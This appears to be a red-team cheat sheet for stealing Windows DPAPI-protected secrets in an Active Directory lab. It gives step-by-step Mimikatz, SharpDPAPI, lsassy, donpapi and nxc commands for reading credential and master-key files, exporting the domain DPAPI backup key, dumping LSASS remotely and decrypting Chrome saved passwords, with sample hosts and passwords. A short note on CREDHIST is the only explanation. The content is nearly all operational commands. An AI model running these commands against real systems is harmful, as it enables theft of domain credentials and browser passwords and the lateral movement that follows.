Resources

Commands

  • Recon
    • Files
      ls C:\Users\fmoheb\AppData\Local\Microsoft\Credentials\ -Force # Windows System Secrets (RDP,Network Shares, Outlook)
      ls C:\Users\fmoheb\AppData\Roaming\Microsoft\Credentials\ -Force # Domain Used secrets 
      ls C:\Users\fmoheb\AppData\Roaming\Microsoft\Protect\S-1-5-21-1285315433-3507361360-214017475-1103\ -Force # Master Keys
      ls C:\Users\fmoheb\AppData\Roaming\Microsoft\Protect\CREDHIST -Force # Credhist
      ls C:\Windows\System32\Microsoft\Protect\S-1-5-18\ -Force # LOCAL machine DPAPI
      ls C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\ -Force # SYSTEM acc DPAPI
  • Access
    • Same User Session (Kowning user pass or not )
      • Mimikatz
         dpapi::cred /in:C:\Users\fmoheb\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D # Get the guidMasterKey
         dpapi::masterkey /in:C:\Users\fmoheb\AppData\Roaming\Microsoft\Protect\S-1-5-21-1285315433-3507361360-214017475-1103\30a1073f-8f34-4316-a9d4-26c0eb00eb52 /rpc # Decrypt the Master key file to get the master key 
        dpapi::masterkey /in:"C:\Users\fmoheb\AppData\Roaming\Microsoft\Protect\S-1-5-21-1285315433-3507361360-214017475-1103\30a1073f-8f34-4316-a9d4-26c0eb00eb52" /rpc # Decrypt the RPC using DC (I'm on the same user session)
         
        dpapi::masterkey /in:"C:\Users\fmoheb\AppData\Roaming\Microsoft\Protect\S-1-5-21-1285315433-3507361360-214017475-1103\30a1073f-8f34-4316-a9d4-26c0eb00eb52" /password:Password123#fff # If you know the user password and don't need the DC 
         
         
        dpapi::cred /in:C:\Users\fmoheb\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D  /masterkey:dd6726e97dfc941f675e9579ac86a3eb9edd179965a2d58baecaa47c7724463a24d131b6ea634a8b29fdb26c82e179dee29acaecdc5ac82048e536599d70c203 # Pingo			
    • Diffrent User Session
      • Administrator
        • Local Admin
          • Dump all the device users
        • Domain Admin
          • Use the DC backup Key
      • Know His Password / NTLM Hash
        • Same Domain
          runas /user:arya.stark cmd.exe # This user must has a roaming profile in ur device 
        • Out of the domain (You must has access on the C$ Share)
          nxc smb 192.168.99.11 -u fmoheb -p 'Password123#fPassword123#f' --shares
          donpapi collect -t 192.168.99.10 -d redteamrecipes.com -u administrator -p Password123#a
    • Administrator
      • SharpDPAPI
        .\SharpDPAPI.exe backupkey /nowrap /server:redteamrecipes.com /file:key.pvk # Save the Backup key in file 
        .\SharpDPAPI.exe backupkey /nowrap /server:redteamrecipes.com # print it in base64 
         
        .\SharpDPAPI.exe masterkeys /pvk:key.pvk # Decrypt tha masterkesy and gvie you the **Keyhash**
         
         .\SharpDPAPI.exe triage /pvk:key.pvk # Decrypt all the keys and search for every creds , vault , .... and get the user,password 
      • Mimikatz
        mimikatz # lsadump::backupkeys /system:win19.redteamrecipes.com /export # export the Domain Master key 
        dpapi::masterkey /in:C:\Users\fmoheb\AppData\Roaming\Microsoft\Protect\S-1-5-21-1285315433-3507361360-214017475-1103\30a1073f-8f34-4316-a9d4-26c0eb00eb52 /pvk:ntds_capi_0_a1993296-77a1-491a-9bfc-7a19f612f154.keyx.rsa.pvk # Getting the Fady master key 
    • Out Of Domain (But with the Files or Creds)
      • lsassy
        lsassy -d redteamrecipes.com -u administrator -p Password123#a 192.168.99.25 -m rdrleakdiag -M masterkeys
    • Local Machine
    • SYSTEM Account
  • Services
    • Chrome
      (gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" | ConvertFrom-Json).os_crypt.encrypted_key # Show The encrypted Key with DPAPI (You just need the master key to dencrypt it)
       
       
      dpapi::chrome /in:"C:\Users\fmoheb\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:dd6726e97dfc941f675e9579ac86a3eb9edd179965a2d58baecaa47c7724463a24d131b6ea634a8b29fdb26c82e179dee29acaecdc5ac82048e536599d70c203 # All in one (if you already have the master key)
       
      OR
       
      dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect
  • Tips & Tricks
    • Live users sessions
      quser
      OR
      query user
       
      Get-Process wsmprovhost -IncludeUserName # For Network login (Admin)
       
      nxc smb 192.168.99.11 -u kozo -p 'Password123#k' --loggedon-users
    • Cache
      mimikatz # dpapi::cache

Tools

Notes

There is a special file (CREDHIST) whose task is to store all previous user passwords. It is also encrypted with the user's current password and stored on the stack. If the system suddenly fails to decrypt the master key, it does the following: using the current password, it decrypts the first record in CREDHIST. The resulting password tries to decrypt the master key again, and so on until the passwords in the chain run out or the master key is decrypted.

Later 2 Read